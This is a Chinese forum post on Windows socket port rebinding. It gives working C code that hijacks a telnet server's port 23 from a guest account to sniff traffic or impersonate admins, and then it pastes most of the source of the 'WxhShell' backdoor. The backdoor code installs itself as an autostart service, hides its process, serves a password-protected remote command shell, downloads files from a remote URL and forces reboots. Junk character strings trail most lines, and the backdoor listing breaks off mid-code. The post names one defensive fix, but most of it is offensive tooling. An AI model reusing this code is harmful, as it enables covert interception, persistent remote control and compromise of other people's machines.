社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 17868阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: IB<ihk  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Xb {y*',  
xae7#d0  
  saddr.sin_family = AF_INET; T/nRc_I+^B  
V"z0]DP5~  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 9lwg`UWl,  
mD:!"h/  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ]cK@nq)  
4D5)<3N=d'  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Y-9F*8<  
16U@o>O  
  这意味着什么?意味着可以进行如下的攻击: -rBj-4|"  
c_ i;'  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 *%.*vPJ  
\ U_DTI  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) _{8boDX#  
.T2I]d  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 \hVFK6  
9hQ{r 2  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ;F- kE4w  
s5 BV8 M  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ~PHG5?X  
uFgw eOJ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 %$Uw]a  
Cq=c'(cX  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 C\Rd]P8\  
kBkhuKd)V  
  #include += QboUN  
  #include yWy9IWI["  
  #include }_S]!AWz  
  #include    wrWWXOZ 4  
  DWORD WINAPI ClientThread(LPVOID lpParam);   : s35{K  
  int main() /T0|<r!c  
  { Y\\&~g42R2  
  WORD wVersionRequested; DBRTZES  
  DWORD ret; 4 0eNgm^  
  WSADATA wsaData; 4R.#=]F  
  BOOL val; )!Bv8&;e  
  SOCKADDR_IN saddr; k K(,FB  
  SOCKADDR_IN scaddr; e): &pqA  
  int err; xK f+.6 wz  
  SOCKET s; gw-l]@;1  
  SOCKET sc; mi+I)b=  
  int caddsize; U3>G9g>^B  
  HANDLE mt; Ag-*DH0  
  DWORD tid;   &7cy9Z~m  
  wVersionRequested = MAKEWORD( 2, 2 ); z]pH'c39  
  err = WSAStartup( wVersionRequested, &wsaData ); MC3{LVNK  
  if ( err != 0 ) { y}8j_r  
  printf("error!WSAStartup failed!\n"); >A6lX)  
  return -1; tO#y4<  
  } #Uo 9BM  
  saddr.sin_family = AF_INET; <?!#QA  
   3:r;(IaX  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 dCBJV  
JyV"jL   
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 1]"b.[P>  
  saddr.sin_port = htons(23); rTcH~s D`  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4r %NtXAa  
  { <D?`*#K  
  printf("error!socket failed!\n"); uKplPze?  
  return -1; u+N[Cgh  
  } '<O& :  
  val = TRUE; -7u4f y{T  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 My)/d]a  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) rd6?;K0  
  { !,]_tw>R  
  printf("error!setsockopt failed!\n"); |&7l*j(\  
  return -1; 6<2 7}S  
  } <7qM;) g  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Tg[+K+b  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 qzXch["So  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 F"_SCA?9?  
zKR_P{W>^  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Y|Z*|c.4OK  
  { aX~7NslR  
  ret=GetLastError(); Vki3D'.7N  
  printf("error!bind failed!\n"); 5 gE  
  return -1; W n|w~{d{  
  } jl@xcs]#  
  listen(s,2); /W%{b:  
  while(1) arnu|paw  
  { n@xU5Q  
  caddsize = sizeof(scaddr); 6g)21Mh#  
  //接受连接请求 |<OZa;c+  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 3 *ZE``  
  if(sc!=INVALID_SOCKET) .Sm7na K  
  { i=Y#kL~f  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 0-7xcF@s  
  if(mt==NULL) N[Fz6,ZG _  
  { 3ILEc:<0J  
  printf("Thread Creat Failed!\n"); cu |{cy-  
  break; jGId)f!)  
  } yPW?%7 h  
  } I~Ziq10  
  CloseHandle(mt); 4Vh#Ye:`  
  } `CO?} rW  
  closesocket(s); f>dWl$/_s  
  WSACleanup(); 7JjTm^bu  
  return 0; ~G"5!,J  
  }   Rc @p!Xi  
  DWORD WINAPI ClientThread(LPVOID lpParam) rZ<@MV|d  
  { lbMb  
  SOCKET ss = (SOCKET)lpParam; 4]B(2FR[8  
  SOCKET sc; ?me0J3u_  
  unsigned char buf[4096]; Bc$t`PI  
  SOCKADDR_IN saddr; +Bgy@.a?  
  long num; VCtj8hKDr  
  DWORD val; kd2+k4@#  
  DWORD ret; :9 .ik  
  //如果是隐藏端口应用的话,可以在此处加一些判断 t!v#rn[  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ]wZG4A  
  saddr.sin_family = AF_INET; f$R]m2  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); \ 7jK6;R<  
  saddr.sin_port = htons(23); @xR=bWY  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 074)(X&:x  
  { kLK}N>v}X  
  printf("error!socket failed!\n"); VXQ~PF]z0  
  return -1; W2s6!_AN  
  } JS} iNS'X  
  val = 100; D >$9(  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jCkYzQUPz  
  { aVEg%8  
  ret = GetLastError(); ;BsyN[bF  
  return -1; w!7Hl9BW  
  } ZJ1 %  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ry0P\wY}  
  { !IF#L0z  
  ret = GetLastError(); pxjb^GZ0  
  return -1; Bg {"{poy  
  } -Z9e}$q$,  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) JHBX'1GQa  
  { C0J/FFBQ^  
  printf("error!socket connect failed!\n"); @uApm~}  
  closesocket(sc); X)P9f N~7  
  closesocket(ss); q &#f#Ou  
  return -1; pKMy:j  
  } f!AcBfaLr  
  while(1) @uXF(KDX  
  { Yv\>\?865  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 1?\G6T  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 { HHc} 8  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 jt=%oa  
  num = recv(ss,buf,4096,0); ]y:2OP  
  if(num>0) +/E`u|%|\]  
  send(sc,buf,num,0); llN#4D9s  
  else if(num==0) 0e-M 24,C  
  break; 7S|nn|\Kp  
  num = recv(sc,buf,4096,0); ' GcN9D  
  if(num>0) 6B'd]Fe  
  send(ss,buf,num,0); ,t2Mur  
  else if(num==0) yy8h8{=g  
  break; s|FfBG  
  } bLuAe EA  
  closesocket(ss); .'aW~WR  
  closesocket(sc); XnR9/t  
  return 0 ; /x\{cHAt8J  
  } j\@Ht~G  
k /srT<  
+es|0;Z4yP  
========================================================== 9}G.Fr  
O!xul$9  
下边附上一个代码,,WXhSHELL N;gI %6  
?> )(;Ir9  
========================================================== u)J&3Ah%  
Mwm9{1{  
#include "stdafx.h" cHP~J%&L  
^26vP7  
#include <stdio.h> 6_}& WjU'  
#include <string.h> PaIE=Q4gJ  
#include <windows.h> O(pa;&"  
#include <winsock2.h> !X5n'1&  
#include <winsvc.h> |}$ZOwc  
#include <urlmon.h> w8~B@}%  
FK ? g  
#pragma comment (lib, "Ws2_32.lib") +9yV'd>U  
#pragma comment (lib, "urlmon.lib") v@n0ma=  
{5`=){  
#define MAX_USER   100 // 最大客户端连接数 DNwqi"  
#define BUF_SOCK   200 // sock buffer @,kR<1  
#define KEY_BUFF   255 // 输入 buffer )/Z% HBn  
PLoD^3uG)  
#define REBOOT     0   // 重启 fRlO.!0(  
#define SHUTDOWN   1   // 关机 jxeZ,w o  
*{TB<^ *  
#define DEF_PORT   5000 // 监听端口 9\ f%+?p  
pT ]:TRPS  
#define REG_LEN     16   // 注册表键长度 iTUOJ3V7i  
#define SVC_LEN     80   // NT服务名长度 _e4%<!1  
,Kl6vw8Htg  
// 从dll定义API ~!//|q^ J]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); A-S!Z2m\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  a>6@1liT  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 'TwvkU"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \+,%RN.  
*M^(A}+O  
// wxhshell配置信息 <gfkbDP2  
struct WSCFG { Lfr>y_i;F  
  int ws_port;         // 监听端口 i?^lEqy[  
  char ws_passstr[REG_LEN]; // 口令 ?OD43y1rzd  
  int ws_autoins;       // 安装标记, 1=yes 0=no J2Y S+%K  
  char ws_regname[REG_LEN]; // 注册表键名 4rDa Jd>,  
  char ws_svcname[REG_LEN]; // 服务名 $e#V^dph  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 'j&+Pg)@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^(79SOZC  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 RZ +SOZs7H  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {PBm dX  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" D^dos`L0b  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 fC|NK+Xd`  
m0M;f+^  
}; ais@|s;  
.^hk^r  
// default Wxhshell configuration "1I\~]]  
struct WSCFG wscfg={DEF_PORT, @ vHj>N  
    "xuhuanlingzhe", ]'q"Kw/10  
    1, Fm-D>PR  
    "Wxhshell", p#A{.6Pa:  
    "Wxhshell", a|Yry  
            "WxhShell Service", b_v{QE<  
    "Wrsky Windows CmdShell Service", nA1059B  
    "Please Input Your Password: ", ;nx? 4f+6h  
  1, DWXxB  
  "http://www.wrsky.com/wxhshell.exe", @a~GHG[x  
  "Wxhshell.exe" {>r56 \!F  
    }; nGoQwKIW  
md S`nhb  
// 消息定义模块 r P1FM1"M  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; zLt7jxx  
char *msg_ws_prompt="\n\r? for help\n\r#>"; SN<Dxa8Iy  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |K(j XZ)  
char *msg_ws_ext="\n\rExit."; fg?4/]*T6  
char *msg_ws_end="\n\rQuit."; <13').F  
char *msg_ws_boot="\n\rReboot..."; -h%!#g  
char *msg_ws_poff="\n\rShutdown..."; z\g6E/%%  
char *msg_ws_down="\n\rSave to "; yb4Jsk5%  
8 o^ h\9I  
char *msg_ws_err="\n\rErr!"; | > t,1T.  
char *msg_ws_ok="\n\rOK!"; ]:g;S,{  
09_5niaz[  
char ExeFile[MAX_PATH]; S W; %2  
int nUser = 0; L!qXt(`  
HANDLE handles[MAX_USER]; q{RH/. l  
int OsIsNt; $C.;GUEQ  
6R=dg2tKT  
SERVICE_STATUS       serviceStatus; V!&O5T(~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .ey=gI!x0  
U#U'iPy  
// 函数声明 ^.?5!9U  
int Install(void); %G43g#pD  
int Uninstall(void); P-Up v6J3  
int DownloadFile(char *sURL, SOCKET wsh); b~Q8&z2  
int Boot(int flag); qZ=%r u  
void HideProc(void); lk(.zYaaN  
int GetOsVer(void); f#>ubmuI^  
int Wxhshell(SOCKET wsl); 31-:xUIX  
void TalkWithClient(void *cs); w+_pq6\V  
int CmdShell(SOCKET sock); ]/cVlpZ{f  
int StartFromService(void); IUZ@n0/T  
int StartWxhshell(LPSTR lpCmdLine); I&Dp~aEM]  
FBk_LEcX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3v?R"2\qS  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); aePLP  
 Oye:V  
// 数据结构和表定义 TQ`4dVaf  
SERVICE_TABLE_ENTRY DispatchTable[] = ^hyY,X  
{ k. @OFkX.  
{wscfg.ws_svcname, NTServiceMain}, {9_}i#,vR  
{NULL, NULL} K.l7yBm  
}; 552yzn1  
}]BH "  
// 自我安装 + r<d z  
int Install(void) I}hY @  
{ V;-$k@$b.  
  char svExeFile[MAX_PATH]; 9\J6G8b>|I  
  HKEY key; kKlcK_b;  
  strcpy(svExeFile,ExeFile); b,#lw_U"  
]38{du  
// 如果是win9x系统,修改注册表设为自启动 +BaZl<ZP1s  
if(!OsIsNt) { 1;FtQnvH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H4Lvw8G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g q|]t<'  
  RegCloseKey(key); H="E#AC%8/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *Y\C5L ]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {wq~+O  
  RegCloseKey(key); 'jr[ ?WQ  
  return 0; -RK R. ,  
    } +[_mSt  
  } -qW[.B  
} s%OPoRE  
else { D.;iz>_}Y  
RASPOc/]   
// 如果是NT以上系统,安装为系统服务 1RM@~I$0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Smc=-M}  
if (schSCManager!=0) c7R<5f  
{ ?P>3~3 B  
  SC_HANDLE schService = CreateService H5J1j*P<d  
  ( YQ _]Jv k  
  schSCManager, W[4 V#&Z  
  wscfg.ws_svcname, "MX9h }7  
  wscfg.ws_svcdisp, 9Z!|oDP-  
  SERVICE_ALL_ACCESS, [!'fE #"a  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 58>C,+  
  SERVICE_AUTO_START, 4apy{W  
  SERVICE_ERROR_NORMAL, Yn+d!w<3:  
  svExeFile, /t=Fx94  
  NULL, X:kqX[\>  
  NULL, q37d:Hp  
  NULL, x<gP5c>zm  
  NULL, l'm\ *=3  
  NULL Spm7kw  
  ); _GF{Duxh  
  if (schService!=0) >\s8S}p  
  { U9/6F8D1Y1  
  CloseServiceHandle(schService); Mq,2S  
  CloseServiceHandle(schSCManager); CA[3 R  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); gi#g)9HG  
  strcat(svExeFile,wscfg.ws_svcname); !Sj0!\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { W9M~2< L  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %}/|/=  
  RegCloseKey(key); tmVGJ+gz  
  return 0; v3I-i|L<)  
    } P g.j]  
  } Y k @/+PE  
  CloseServiceHandle(schSCManager); 6t!PHA  
} hg Pzx@  
} glI4Jb_[  
s1kG:h2|$  
return 1; 6U(M HxY  
} qC:QY6g$N  
jBLLx{  
// 自我卸载 ve&"x Nz<  
int Uninstall(void) 5u=$m^@{  
{ /_{B_2i/>  
  HKEY key; yNDplm|9*  
[#mRlL0yk  
if(!OsIsNt) { (JI[y"2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  J]4pPDm  
  RegDeleteValue(key,wscfg.ws_regname); <%b a 3<sg  
  RegCloseKey(key); Z#znA4;)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T6^ H%;G  
  RegDeleteValue(key,wscfg.ws_regname); "f N=Y$G  
  RegCloseKey(key); qS?uMms7w  
  return 0; `E:&a]ul  
  } kPvR ,  
} J<h! H  
} /c|X:F!;X#  
else { RTQtXv6mD  
-F~"W@9r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3Q:HzqG  
if (schSCManager!=0) O;83A  
{ !HCuae3_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =tQ^t4_  
  if (schService!=0) 0/TP`3$X#"  
  { j[Z<|Da  
  if(DeleteService(schService)!=0) { [$e\?c  
  CloseServiceHandle(schService); <; P40jDL  
  CloseServiceHandle(schSCManager); PHU$<>  
  return 0; 0 qp Pz|h  
  } ^+k~{F,)  
  CloseServiceHandle(schService); c5- 56 Q  
  } {NTMvJLm  
  CloseServiceHandle(schSCManager); DNu-Ce%  
} HD!2|b ~@  
}  eo&^~OVT  
A(}D76o_  
return 1; IlfH  
} 9YEE.=]T  
Z3qr2/  
// 从指定url下载文件 AQm#a;  
int DownloadFile(char *sURL, SOCKET wsh) cP2n,>:  
{ Cc}3@Nf{/  
  HRESULT hr; M'5PPBSR  
char seps[]= "/"; 6.6;oa4j  
char *token; E x )fXQ+  
char *file; vp&N)t_  
char myURL[MAX_PATH]; m bZn[D_zi  
char myFILE[MAX_PATH]; (U([T-H  
Lc! t  
strcpy(myURL,sURL); o>75s#= b=  
  token=strtok(myURL,seps); M.u1SB0  
  while(token!=NULL) b-?d(-  
  { s0\}Q=s[  
    file=token; =Ohro '   
  token=strtok(NULL,seps); T o$D [-  
  } vf0 fa46  
|*> s%nF|  
GetCurrentDirectory(MAX_PATH,myFILE); )z!#8s  
strcat(myFILE, "\\"); b"pN;v  
strcat(myFILE, file); /C6$B)w_*{  
  send(wsh,myFILE,strlen(myFILE),0); 3 4:Y_*  
send(wsh,"...",3,0); 2OZ<t@\OY  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); L#MgoBXr  
  if(hr==S_OK) 9+"ISXS  
return 0; vWVQ8S.  
else =<[M$"S7d6  
return 1; r8,'LZIz  
XDyFe'1I  
} Oh; V%G  
TR'<D9kn  
// 系统电源模块 OfPv'rW{x  
int Boot(int flag) l&{+3aC:  
{ UFGUP]J>  
  HANDLE hToken; ]FEsN6  
  TOKEN_PRIVILEGES tkp; WCyjp  
}m93AL_y  
  if(OsIsNt) { 8SOfX^;o  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); k2:mIp\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F@<^  
    tkp.PrivilegeCount = 1; `N;O6 wZ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; CF]#0*MI  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ffG1QvC|M  
if(flag==REBOOT) { cpu|tK.t  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) q85 4k+C  
  return 0; b&P2VqYgl  
} @m+FAdA 0  
else { U-pBat.$'C  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) UL0n>Wa5  
  return 0; iJSyi;l|  
} >uR;^B5m  
  } eCwR }m?_  
  else { {)wl`mw3  
if(flag==REBOOT) { ?o`fX wE  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) gr\vC  
  return 0; RU+F~K<  
} ^2LqKo\T  
else { nVoP:FHH  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) xG:7AGZ$[  
  return 0; oH1]-Nl$  
} n0b{Jg *  
} UUEbtZH;  
j"9Zaq_  
return 1; 1O+$"5H  
} EfqC_,J*3  
4\y>pXML-U  
// win9x进程隐藏模块 DAQozhP8  
void HideProc(void) [E;~Y_l  
{ Dpkc9~z  
g-<[* nF  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5@EX,$h  
  if ( hKernel != NULL ) wpa^]l  
  { VWW(=j  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); u"-."_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,B$e'KQ  
    FreeLibrary(hKernel); 1i}p?sU  
  } pykRi#[UrX  
V"5LNtf  
return; `o6T)49  
} q(Zu;ecBN  
S#l)|c_~  
// 获取操作系统版本 7l3Dx w/N  
int GetOsVer(void) D)bR-a_^  
{ ZU.f)94u  
  OSVERSIONINFO winfo; Idr|-s%l6'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;fB!/u  
  GetVersionEx(&winfo); 8_{XrTw(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {jo"@&2S  
  return 1; H iEQs|""'  
  else ni-4 ~k  
  return 0; ,8+Jt@L  
} Ae'N1V  
=|qYaXjT$  
// 客户端句柄模块 $O,IXA  
int Wxhshell(SOCKET wsl) 7%yP5c B  
{ gPF5|% 3)  
  SOCKET wsh; hEAP,)>F  
  struct sockaddr_in client; )]{&  
  DWORD myID; Q#}c5TjVr  
c:,K{ZR  
  while(nUser<MAX_USER) !CLL{\F  
{ w"OeS;#e:  
  int nSize=sizeof(client); `sM^m`yE  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); a]=j  
  if(wsh==INVALID_SOCKET) return 1; 85#+_}#  
?}<Wmy2A  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &NK6U  
if(handles[nUser]==0) j,v2(e5:  
  closesocket(wsh); m-R`(  
else yD( v_J*  
  nUser++; _Sult;y"u  
  } ^i6`w_/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); XT\Q"=FD  
\"l/D?+Q  
  return 0; 2$1D+(5;  
} Z'_EX7r  
l%v2O'h  
// 关闭 socket ju(QSZ|;  
void CloseIt(SOCKET wsh) -}P/<cu:  
{ &u0on) E  
closesocket(wsh); s3oQ( wC %  
nUser--; g/OL ^A  
ExitThread(0); * NdL4c~  
} yYvv!w+@Q  
PZhpp"  
// 客户端请求句柄 bf$4Z: Y  
void TalkWithClient(void *cs) rNeSg=j  
{ Q3aZB*$K  
Uc5BNk7<=  
  SOCKET wsh=(SOCKET)cs; -4t!k Aw`  
  char pwd[SVC_LEN]; O*PJr[Zou  
  char cmd[KEY_BUFF]; F/U38[  
char chr[1]; GKf%dK L  
int i,j; Fr]B]Hj  
b_-?ZmV^r  
  while (nUser < MAX_USER) { p"o_0 {8  
#i| AE`  
if(wscfg.ws_passstr) { o '!WW  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5+Hw @CY3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c8M'/{4rH  
  //ZeroMemory(pwd,KEY_BUFF); TbR!u:J  
      i=0;  ui1h M  
  while(i<SVC_LEN) { fC!+"g55  
(zhi/>suG  
  // 设置超时 u;=a=>05IR  
  fd_set FdRead; xkmqf7w  
  struct timeval TimeOut; q|kkdK|N/Y  
  FD_ZERO(&FdRead); VB@M=ShKK  
  FD_SET(wsh,&FdRead); kUQdi%3yY;  
  TimeOut.tv_sec=8; NZt 8L?  
  TimeOut.tv_usec=0; 0uS6F8x@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $s!2D"wl n  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >l(|c9OWM  
~\[\S!"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Dt]*M_  
  pwd=chr[0]; 2[Vs@X  
  if(chr[0]==0xd || chr[0]==0xa) { ^26}8vt  
  pwd=0; btv.M  
  break; xJF}6yPm@  
  } 'Y:ZWac,  
  i++; wQ~F%rQ$  
    } :DR}lOi`  
_kJW/3eE  
  // 如果是非法用户,关闭 socket 5Jm %*Wb  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |9fGn@-  
} afj[HJbY  
VTwJtWnq  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V"Y-|R  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^RE("'+  
'U'Y[*m@  
while(1) { }?=4pGsI  
~{f[X3m^  
  ZeroMemory(cmd,KEY_BUFF); h . R bdG  
!F~*Q2PZ9  
      // 自动支持客户端 telnet标准   7N I~47s|v  
  j=0; B&4NdL/  
  while(j<KEY_BUFF) { 9xIz[`)i.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ("ulL5  
  cmd[j]=chr[0]; VXIB9 /*i  
  if(chr[0]==0xa || chr[0]==0xd) { I9E]zoj8  
  cmd[j]=0; SZm&2~|J  
  break; 8@d,TjJDo  
  } /Q2{w >^DK  
  j++; EHcgWlT u  
    } 6YpP/ K  
7W `gN[*  
  // 下载文件 EmubpUS;  
  if(strstr(cmd,"http://")) { H\@@iK=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); iBy &#^  
  if(DownloadFile(cmd,wsh)) yfCdK-9+B  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <jHo2U8/"s  
  else ~91) DNaE  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XonI   
  } B3-;]6  
  else { Tq`rc"&7u  
!%Qm{R  
    switch(cmd[0]) { &kNJ s{  
  7S)u7  
  // 帮助 eBxOa  
  case '?': { 1 8kzR6(W  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R[_UbN 28  
    break; G$!JJ. )d  
  } 'n0u6hCSb  
  // 安装 ,pMH`  
  case 'i': { Cz]NSG5  
    if(Install()) >r~!'Pd!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `]3A#y)v  
    else mQy!*0y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y> f 6  
    break; C6cEt5  
    } L>1i~c&V  
  // 卸载 B|(M xR6m  
  case 'r': { cR"?EQ] `N  
    if(Uninstall()) wSd o 7Lb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #JIh-h@  
    else Fi_JF;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2fv`O  
    break; 0N(o)WRv  
    } (_'Efpg|  
  // 显示 wxhshell 所在路径 si.w1  
  case 'p': { yttIA/  
    char svExeFile[MAX_PATH]; KG8Km  
    strcpy(svExeFile,"\n\r"); >)p8^jX   
      strcat(svExeFile,ExeFile); ^YwTO/Q|  
        send(wsh,svExeFile,strlen(svExeFile),0); |Wzdu2T  
    break; ^E349c-|  
    } %^ z## 7^  
  // 重启 j`pX2S  
  case 'b': { -OPJB:7Z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); hd)HJb-aR  
    if(Boot(REBOOT)) L! DK2,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U jrML  
    else { zs@xw@  
